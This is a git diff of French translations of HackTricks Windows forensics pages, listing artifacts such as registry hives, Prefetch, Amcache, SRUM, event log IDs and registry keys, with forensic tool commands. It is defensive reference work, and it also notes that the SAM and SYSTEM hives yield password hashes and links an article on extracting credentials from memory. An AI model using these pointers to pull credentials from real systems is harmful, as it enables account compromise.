`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indique le fichier qui est utilisé. +Le chemin du registre `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indique le fichier qui est utilisé. Vous pouvez ouvrir le fichier PST en utilisant l'outil [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). @@ -222,28 +222,28 @@ Vous pouvez ouvrir le fichier PST en utilisant l'outil [**Kernel PST Viewer**](h ### Outlook OST -Lorsque Microsoft Outlook est configuré **en utilisant** **IMAP** ou en utilisant un serveur **Exchange**, il génère un fichier **OST** qui stocke presque les mêmes informations que le fichier PST. Il maintient le fichier synchronisé avec le serveur pour les **12 derniers mois**, avec une **taille maximale de fichier de 50 Go** et dans le **même dossier que le fichier PST** est enregistré. Vous pouvez inspecter ce fichier en utilisant [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). +Lorsque Microsoft Outlook est configuré **en utilisant** **IMAP** ou en utilisant un serveur **Exchange**, il génère un fichier **OST** qui stocke presque les mêmes informations que le fichier PST. Il garde le fichier synchronisé avec le serveur pour les **12 derniers mois**, avec une **taille maximale de fichier de 50 Go** et dans le **même dossier que le fichier PST** est enregistré. Vous pouvez inspecter ce fichier en utilisant [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -### Récupération des Pièces Jointes +### Récupération des pièces jointes -Vous pourriez être en mesure de les trouver dans le dossier : +Vous pouvez les trouver dans le dossier : * `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10 * `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+ ### Thunderbird MBOX -**Thunderbird** stocke les informations dans des fichiers **MBOX** dans le dossier `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` +**Thunderbird** stocke les informations dans des **fichiers MBOX** dans le dossier `\Users\%NOM_UTILISATEUR%\AppData\Roaming\Thunderbird\Profiles` ## Miniatures -Lorsqu'un utilisateur accède à un dossier et l'organise en utilisant des miniatures, alors un fichier `thumbs.db` est créé. Cette base de données **stocke les miniatures des images** du dossier même si elles sont supprimées. Dans WinXP et Win 8-8.1, ce fichier est créé automatiquement. Dans Win7/Win10, il est créé automatiquement s'il est accédé via un chemin UNC (\IP\dossier...). +Lorsqu'un utilisateur accède à un dossier et l'organise en utilisant des miniatures, un fichier `thumbs.db` est créé. Cette base de données **stocke les miniatures des images** du dossier même si elles sont supprimées. Dans WinXP et Win 8-8.1, ce fichier est créé automatiquement. Dans Win7/Win10, il est créé automatiquement s'il est accédé via un chemin UNC (\IP\dossier...). Il est possible de lire ce fichier avec l'outil [**Thumbsviewer**](https://thumbsviewer.github.io). ### Thumbcache -À partir de Windows Vista, **les aperçus des miniatures sont stockés dans un emplacement centralisé sur le système**. Cela permet au système d'accéder aux images indépendamment de leur emplacement et résout les problèmes de localité des fichiers Thumbs.db. Le cache est stocké à **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** sous plusieurs fichiers avec l'étiquette **thumbcache\_xxx.db** (numérotés par taille) ; ainsi qu'un index utilisé pour trouver des miniatures dans chaque base de données de taille. +À partir de Windows Vista, **les aperçus des miniatures sont stockés dans un emplacement centralisé sur le système**. Cela permet au système d'accéder aux images indépendamment de leur emplacement et résout les problèmes de localisation des fichiers Thumbs.db. Le cache est stocké à **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** sous la forme de plusieurs fichiers portant l'étiquette **thumbcache\_xxx.db** (numérotés par taille) ; ainsi qu'un index utilisé pour trouver les miniatures dans chaque base de données de taille. * Thumbcache\_32.db -> petit * Thumbcache\_96.db -> moyen @@ -263,34 +263,34 @@ Les fichiers contenant le registre sont situés dans : * %windir%\System32\Config\*_SYSTEM\*_: `HKEY_LOCAL_MACHINE` * %windir%\System32\Config\*_SOFTWARE\*_: `HKEY_LOCAL_MACHINE` * %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE` -* %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER` +* %UserProfile%{Utilisateur}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER` -À partir de Windows Vista et Windows 2008 Server, il y a des sauvegardes des fichiers de registre `HKEY_LOCAL_MACHINE` dans **`%Windir%\System32\Config\RegBack\`**. +À partir de Windows Vista et de Windows 2008 Server, il existe des sauvegardes des fichiers de registre `HKEY_LOCAL_MACHINE` dans **`%Windir%\System32\Config\RegBack\`**. -Aussi à partir de ces versions, le fichier de registre **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** est créé en sauvegardant des informations sur les exécutions de programmes. +Également à partir de ces versions, le fichier de registre **`%UserProfile%\{Utilisateur}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** est créé pour sauvegarder des informations sur les exécutions de programmes. ### Outils Certains outils sont utiles pour analyser les fichiers de registre : -* **Éditeur du Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer à travers le registre Windows de la session actuelle. -* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence des clés avec des informations intéressantes. -* [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il a une interface graphique qui permet de naviguer à travers le registre chargé et contient également des plugins qui mettent en évidence des informations intéressantes à l'intérieur du registre chargé. +* **Éditeur de Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer dans le registre Windows de la session en cours. +* [**Explorateur de Registre**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence les clés contenant des informations intéressantes. +* [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il possède une interface graphique qui permet de naviguer dans le registre chargé et contient également des plugins mettant en évidence des informations intéressantes dans le registre chargé. * [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html) : Une autre application graphique capable d'extraire les informations importantes du registre chargé. ### Récupération d'éléments supprimés -Lorsqu'une clé est supprimée, elle est marquée comme telle, mais jusqu'à ce que l'espace qu'elle occupe soit nécessaire, elle ne sera pas supprimée. Par conséquent, en utilisant des outils comme **Registry Explorer**, il est possible de récupérer ces clés supprimées. +Lorsqu'une clé est supprimée, elle est marquée comme telle, mais tant que l'espace qu'elle occupe n'est pas nécessaire, elle ne sera pas supprimée. Par conséquent, en utilisant des outils comme **Registry Explorer**, il est possible de récupérer ces clés supprimées. -### Dernier temps d'écriture +### Heure de dernière écriture -Chaque clé-valeur contient un **horodatage** indiquant la dernière fois qu'elle a été modifiée. +Chaque clé-valeur contient une **horodatage** indiquant la dernière fois qu'elle a été modifiée. ### SAM -Le fichier/ruche **SAM** contient les **utilisateurs, groupes et les hachages des mots de passe** des utilisateurs du système. +Le fichier/hive **SAM** contient les **utilisateurs, groupes et mots de passe des utilisateurs** du système. -Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le RID, la dernière connexion, le dernier échec de connexion, le compteur de connexion, la politique de mot de passe et quand le compte a été créé. Pour obtenir les **hachages**, vous avez également **besoin** du fichier/ruche **SYSTEM**. +Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le RID, la dernière connexion, la dernière tentative de connexion échouée, le compteur de connexion, la politique de mot de passe et la date de création du compte. Pour obtenir les **hashes**, vous avez également besoin du fichier/hive **SYSTEM**. ### Entrées intéressantes dans le Registre Windows @@ -302,7 +302,7 @@ Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le R ### Processus Windows de base -Sur la page suivante, vous pouvez en apprendre davantage sur les processus Windows de base pour détecter des comportements suspects : +Sur la page suivante, vous pouvez en apprendre davantage sur les processus Windows de base pour détecter les comportements suspects : {% content-ref url="windows-processes.md" %} [windows-processes.md](windows-processes.md) @@ -310,23 +310,23 @@ Sur la page suivante, vous pouvez en apprendre davantage sur les processus Windo ### Applications récentes Windows -Dans le registre `NTUSER.DAT` dans le chemin `Software\Microsoft\Current Version\Search\RecentApps`, vous pouvez trouver des sous-clés avec des informations sur l'**application exécutée**, **la dernière fois** qu'elle a été exécutée et le **nombre de fois** qu'elle a été lancée. +Dans le registre `NTUSER.DAT` dans le chemin `Software\Microsoft\Current Version\Search\RecentApps`, vous pouvez trouver des sous-clés avec des informations sur l'**application exécutée**, la **dernière fois** qu'elle a été exécutée et le **nombre de fois** qu'elle a été lancée. -### BAM (Background Activity Moderator) +### BAM (Modérateur d'activité en arrière-plan) -Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver des informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quel moment** elles ont été exécutées (le temps est à l'intérieur de la valeur Data du registre). +Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver des informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quelle heure** elles ont été exécutées (l'heure est à l'intérieur de la valeur de données du registre). -### Prefetch Windows +### Préchargement Windows -Le prefetching est une technique qui permet à un ordinateur de **récupérer silencieusement les ressources nécessaires pour afficher le contenu** qu'un utilisateur **pourrait accéder dans un avenir proche** afin que les ressources puissent être accédées plus rapidement. +Le préchargement est une technique qui permet à un ordinateur de **récupérer silencieusement les ressources nécessaires pour afficher le contenu** auquel un utilisateur **pourrait accéder dans un avenir proche** afin que les ressources puissent être accédées plus rapidement. -Le prefetch Windows consiste à créer des **caches des programmes exécutés** pour pouvoir les charger plus rapidement. Ces caches sont créés sous forme de fichiers `.pf` dans le chemin : `C:\Windows\Prefetch`. Il y a une limite de 128 fichiers dans XP/VISTA/WIN7 et 1024 fichiers dans Win8/Win10. +Le préchargement Windows consiste à créer des **caches des programmes exécutés** pour pouvoir les charger plus rapidement. Ces caches sont créés sous forme de fichiers `.pf` dans le chemin : `C:\Windows\Prefetch`. Il y a une limite de 128 fichiers dans XP/VISTA/WIN7 et 1024 fichiers dans Win8/Win10. -Le nom du fichier est créé comme `{program_name}-{hash}.pf` (le hachage est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la seule présence du fichier indique que **le programme a été exécuté** à un moment donné. +Le nom du fichier est créé sous la forme `{nom_du_programme}-{hash}.pf` (le hash est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la seule présence du fichier indique que **le programme a été exécuté** à un moment donné. -Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers qui sont préchargés**. Ce fichier contient **des informations sur le nombre d'exécutions**, **les dates** de l'exécution et **les fichiers** **ouverts** par le programme. +Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers préchargés**. Ce fichier contient des informations sur le **nombre d'exécutions**, les **dates** de l'exécution et les **fichiers** **ouverts** par le programme. -Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) : +Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` @@ -334,25 +334,25 @@ Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https: ### Superprefetch -**Superprefetch** a le même objectif que le prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service prefetch.\ -Ce service va générer des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** a le même objectif que prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service prefetch.\ +Ce service générera des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`. Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin complet**, les **plages horaires** et les **horodatages**. -Vous pouvez accéder à cette information en utilisant l'outil [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Vous pouvez accéder à ces informations en utilisant l'outil [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **surveille** les **ressources** **consommées** **par un processus**. Il est apparu dans W8 et il stocke les données dans une base de données ESE située dans `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **surveille** les **ressources** **consommées** **par un processus**. Il est apparu dans W8 et stocke les données dans une base de données ESE située dans `C:\Windows\System32\sru\SRUDB.dat`. Il fournit les informations suivantes : -* AppID et Chemin +* ID de l'application et chemin d'accès * Utilisateur ayant exécuté le processus * Octets envoyés * Octets reçus * Interface réseau -* Durée de connexion +* Durée de la connexion * Durée du processus Ces informations sont mises à jour toutes les 60 minutes. @@ -365,15 +365,15 @@ Vous pouvez obtenir les données de ce fichier en utilisant l'outil [**srum\_dum **Shimcache**, également connu sous le nom de **AppCompatCache**, est un composant de la **Base de données de compatibilité des applications**, créée par **Microsoft** et utilisée par le système d'exploitation pour identifier les problèmes de compatibilité des applications. -Le cache stocke divers métadonnées de fichier en fonction du système d'exploitation, telles que : +Le cache stocke diverses métadonnées de fichiers en fonction du système d'exploitation, telles que : * Chemin complet du fichier * Taille du fichier -* Heure de dernière modification **$Standard\_Information** (SI) -* Heure de dernière mise à jour de ShimCache +* Dernière heure de modification de **$Standard\_Information** (SI) +* Dernière heure de mise à jour de ShimCache * Indicateur d'exécution du processus -Ces informations se trouvent dans le registre à : +Ces informations peuvent être trouvées dans le registre à : * `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` * XP (96 entrées) @@ -387,20 +387,19 @@ Vous pouvez utiliser l'outil [**AppCompatCacheParser**](https://github.com/EricZ ### Amcache -Le fichier **Amcache.hve** est un fichier de registre qui stocke les informations des applications exécutées. Il se trouve dans `C:\Windows\AppCompat\Programas\Amcache.hve` +Le fichier **Amcache.hve** est un fichier de registre qui stocke les informations des applications exécutées. Il est situé dans `C:\Windows\AppCompat\Programas\Amcache.hve` -**Amcache.hve** enregistre les processus récents qui ont été exécutés et liste le chemin des fichiers exécutés, ce qui peut ensuite être utilisé pour trouver le programme exécuté. Il enregistre également le SHA1 du programme. +**Amcache.hve** enregistre les processus récents qui ont été exécutés et répertorie le chemin des fichiers qui sont exécutés, ce qui peut ensuite être utilisé pour trouver le programme exécuté. Il enregistre également le SHA1 du programme. Vous pouvez analyser ces informations avec l'outil [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser) ```bash AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student\Desktop\srum ``` -```markdown -Le fichier CVS le plus intéressant généré est `Amcache_Unassociated file entries`. +Le fichier CVS le plus intéressant généré est les `entrées de fichiers non associées Amcache`. ### RecentFileCache -Cet artefact ne peut être trouvé que dans W7 dans `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` et contient des informations sur l'exécution récente de certains binaires. +Cet artefact ne peut être trouvé que dans W7 dans `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` et il contient des informations sur l'exécution récente de certains binaires. Vous pouvez utiliser l'outil [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) pour analyser le fichier. @@ -415,9 +414,9 @@ Vous pouvez les trouver dans le registre sous `SYSTEM\ControlSet001\Services`. V ### **Windows Store** Les applications installées peuvent être trouvées dans `\ProgramData\Microsoft\Windows\AppRepository\`\ -Ce répertoire a un **log** avec **chaque application installée** dans le système à l'intérieur de la base de données **`StateRepository-Machine.srd`**. +Ce référentiel contient un **journal** avec **chaque application installée** dans le système à l'intérieur de la base de données **`StateRepository-Machine.srd`**. -À l'intérieur de la table des applications de cette base de données, il est possible de trouver les colonnes : "Application ID", "PackageNumber" et "Display Name". Ces colonnes contiennent des informations sur les applications préinstallées et installées et il est possible de savoir si certaines applications ont été désinstallées car les ID des applications installées devraient être séquentiels. +À l'intérieur de la table Application de cette base de données, il est possible de trouver les colonnes : "ID de l'application", "Numéro de package" et "Nom d'affichage". Ces colonnes contiennent des informations sur les applications préinstallées et installées et il est possible de savoir si certaines applications ont été désinstallées car les ID des applications installées devraient être séquentiels. Il est également possible de **trouver des applications installées** dans le chemin du registre : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ Et des **applications désinstallées** dans : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` @@ -430,60 +429,60 @@ Les informations qui apparaissent dans les événements Windows sont : * Horodatage (UTC + 0) * Utilisateurs impliqués * Hôtes impliqués (nom d'hôte, IP) -* Actifs accédés (fichiers, dossiers, imprimantes, services) +* Actifs consultés (fichiers, dossiers, imprimantes, services) -Les journaux sont situés dans `C:\Windows\System32\config` avant Windows Vista et dans `C:\Windows\System32\winevt\Logs` après Windows Vista. Avant Windows Vista, les journaux d'événements étaient au format binaire et après, ils sont au **format XML** et utilisent l'extension **.evtx**. +Les journaux se trouvent dans `C:\Windows\System32\config` avant Windows Vista et dans `C:\Windows\System32\winevt\Logs` après Windows Vista. Avant Windows Vista, les journaux d'événements étaient au format binaire et après, ils sont au format **XML** et utilisent l'extension **.evtx**. -L'emplacement des fichiers d'événements peut être trouvé dans le registre SYSTEM sous **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +L'emplacement des fichiers d'événements peut être trouvé dans le registre SYSTEM dans **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -Ils peuvent être visualisés à partir de la Visionneuse d'événements Windows (**`eventvwr.msc`**) ou avec d'autres outils comme [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Ils peuvent être visualisés à partir de l'Observateur d'événements Windows (**`eventvwr.msc`**) ou avec d'autres outils comme [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** ### Sécurité -Cela enregistre les événements d'accès et donne des informations sur la configuration de sécurité qui peuvent être trouvées dans `C:\Windows\System32\winevt\Security.evtx`. +Cela enregistre les événements d'accès et fournit des informations sur la configuration de sécurité qui peuvent être trouvées dans `C:\Windows\System32\winevt\Security.evtx`. La **taille maximale** du fichier d'événements est configurable, et il commencera à écraser les anciens événements lorsque la taille maximale est atteinte. -Les événements qui sont enregistrés comme : +Les événements enregistrés sont : * Connexion/Déconnexion * Actions de l'utilisateur * Accès aux fichiers, dossiers et actifs partagés * Modification de la configuration de sécurité -Événements liés à l'authentification des utilisateurs : +Événements liés à l'authentification de l'utilisateur : | EventID | Description | | --------- | ---------------------------- | | 4624 | Authentification réussie | | 4625 | Erreur d'authentification | -| 4634/4647 | déconnexion | -| 4672 | Connexion avec des permissions admin | +| 4634/4647 | Déconnexion | +| 4672 | Connexion avec permissions administratives | À l'intérieur de l'EventID 4634/4647, il y a des sous-types intéressants : -* **2 (interactif)** : La connexion était interactive en utilisant le clavier ou des logiciels comme VNC ou `PSexec -U-` +* **2 (interactif)** : La connexion était interactive en utilisant le clavier ou un logiciel comme VNC ou `PSexec -U-` * **3 (réseau)** : Connexion à un dossier partagé -* **4 (Batch)** : Processus exécuté -* **5 (service)** : Service démarré par le Gestionnaire de contrôle des services +* **4 (lot)** : Processus exécuté +* **5 (service)** : Service démarré par le Gestionnaire de services * **6 (proxy)** : Connexion proxy -* **7 (Déverrouillage)** : Écran déverrouillé en utilisant un mot de passe -* **8 (texte clair réseau)** : Utilisateur authentifié en envoyant des mots de passe en clair. Cet événement provient généralement de l'IIS -* **9 (nouvelles informations d'identification)** : Il est généré lorsque la commande `RunAs` est utilisée ou que l'utilisateur accède à un service réseau avec des informations d'identification différentes. -* **10 (interactif à distance)** : Authentification via les Services de Terminal ou RDP -* **11 (cache interactif)** : Accès en utilisant les dernières informations d'identification mises en cache car il n'était pas possible de contacter le contrôleur de domaine -* **12 (cache interactif à distance)** : Connexion à distance avec des informations d'identification mises en cache (une combinaison de 10 et 11). -* **13 (déverrouillage en cache)** : Déverrouillage d'une machine verrouillée avec des informations d'identification mises en cache. +* **7 (déverrouillage)** : Écran déverrouillé en utilisant un mot de passe +* **8 (texte en clair réseau)** : Utilisateur authentifié en envoyant des mots de passe en clair. Cet événement provenait de l'IIS +* **9 (nouvelles informations d'identification)** : Il est généré lorsque la commande `RunAs` est utilisée ou lorsque l'utilisateur accède à un service réseau avec des informations d'identification différentes. +* **10 (interactif à distance)** : Authentification via les Services Terminal ou RDP +* **11 (interactif mis en cache)** : Accès en utilisant les dernières informations d'identification mises en cache car il n'était pas possible de contacter le contrôleur de domaine +* **12 (interactif à distance mis en cache)** : Connexion à distance avec des informations d'identification mises en cache (une combinaison de 10 et 11). +* **13 (déverrouillage mis en cache)** : Déverrouiller une machine verrouillée avec des informations d'identification mises en cache. -Dans cet article, vous pouvez trouver comment imiter tous ces types de connexion et dans lesquels vous pourrez extraire des informations d'identification de la mémoire : [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) +Dans ce post, vous pouvez trouver comment imiter tous ces types de connexion et dans lesquels vous pourrez extraire des informations d'identification de la mémoire : [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) -Les informations de statut et de sous-statut des événements peuvent indiquer plus de détails sur les causes de l'événement. Par exemple, regardez les codes de statut et de sous-statut suivants de l'Event ID 4625 : +Les informations d'état et de sous-état des événements peuvent indiquer plus de détails sur les causes de l'événement. Par exemple, jetez un œil aux codes d'état et de sous-état suivants de l'ID d'événement 4625 : ![](<../../../.gitbook/assets/image (455).png>) ### Récupération des événements Windows -Il est fortement recommandé d'éteindre le PC suspect en le **débranchant** pour maximiser la probabilité de récupérer les événements Windows. Dans le cas où ils auraient été supprimés, un outil qui peut être utile pour essayer de les récupérer est [**Bulk_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) en indiquant l'extension **evtx**. +Il est fortement recommandé d'éteindre l'ordinateur suspect en le **débranchant** pour maximiser la probabilité de récupérer les événements Windows. En cas de suppression, un outil qui peut être utile pour essayer de les récupérer est [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) en indiquant l'extension **evtx**. ## Identification des attaques courantes avec les événements Windows @@ -491,40 +490,25 @@ Il est fortement recommandé d'éteindre le PC suspect en le **débranchant** po ### Attaque par force brute -Une attaque par force brute peut être facilement identifiable car **plusieurs EventIDs 4625 apparaîtront**. Si l'attaque était **réussie**, après les EventIDs 4625, **un EventID 4624 apparaîtra**. +Une attaque par force brute peut être facilement identifiable car **plusieurs EventIDs 4625 apparaîtront**. Si l'attaque a été **réussie**, après les EventIDs 4625, **un EventID 4624 apparaîtra**. ### Changement d'heure -C'est terrible pour l'équipe de forensique car tous les horodatages seront modifiés. Cet événement est enregistré par l'EventID 4616 dans le journal des événements de sécurité. +C'est terrible pour l'équipe de la police scientifique car tous les horodatages seront modifiés. Cet événement est enregistré par l'EventID 4616 à l'intérieur du journal d'événements de sécurité. ### Périphériques USB Les EventIDs système suivants sont utiles : -* 20001 / 20003 / 10000 : Première fois qu'il a été utilisé +* 20001 / 20003 / 10000 : Première utilisation * 10100 : Mise à jour du pilote L'EventID 112 de DeviceSetupManager contient l'horodatage de chaque périphérique USB inséré. -### Extinction / Allumage +### Allumer / Éteindre -L'ID 6005 du service "Event Log" indique que le PC a été allumé. L'ID 6006 indique qu'il a été éteint. +L'ID 6005 du service "Journal d'événements" indique que l'ordinateur a été allumé. L'ID 6006 indique qu'il a été éteint. ### Suppression des journaux -L'EventID de sécurité 1102 indique que les journaux ont été supprimés. - -
- -Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
-``` +L'EventID 1102 de sécurité indique que les journaux ont été supprimés. diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index ddefd12ac..0ff74b969 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -4,15 +4,15 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -20,132 +20,132 @@ Autres moyens de soutenir HackTricks : ### Version -* **`Software\Microsoft\Windows NT\CurrentVersion`** : Version de Windows, Service Pack, heure d'installation et propriétaire enregistré +- **`Software\Microsoft\Windows NT\CurrentVersion`** : Version de Windows, Service Pack, heure d'installation et propriétaire enregistré ### Nom d'hôte -* **`System\ControlSet001\Control\ComputerName\ComputerName`** : Nom d'hôte +- **`System\ControlSet001\Control\ComputerName\ComputerName`** : Nom d'hôte ### Fuseau horaire -* **`System\ControlSet001\Control\TimeZoneInformation`** : Fuseau horaire +- **`System\ControlSet001\Control\TimeZoneInformation`** : Fuseau horaire -### Dernier accès +### Dernière heure d'accès -* **`System\ControlSet001\Control\Filesystem`** : Dernier accès (par défaut désactivé avec `NtfsDisableLastAccessUpdate=1`, si `0`, alors, c'est activé). -* Pour l'activer : `fsutil behavior set disablelastaccess 0` +- **`System\ControlSet001\Control\Filesystem`** : Dernière heure d'accès (par défaut désactivée avec `NtfsDisableLastAccessUpdate=1`, si `0`, alors elle est activée). +- Pour l'activer : `fsutil behavior set disablelastaccess 0` ### Heure d'arrêt -* `System\ControlSet001\Control\Windows` : Heure d'arrêt -* `System\ControlSet001\Control\Watchdog\Display` : Compteur d'arrêt (uniquement XP) +- `System\ControlSet001\Control\Windows` : Heure d'arrêt +- `System\ControlSet001\Control\Watchdog\Display` : Nombre d'arrêts (uniquement XP) ### Informations réseau -* **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`** : Interfaces réseau -* **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`** : Première et dernière fois qu'une connexion réseau a été effectuée et connexions via VPN -* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (pour XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`** : Type de réseau (0x47-sans fil, 0x06-câble, 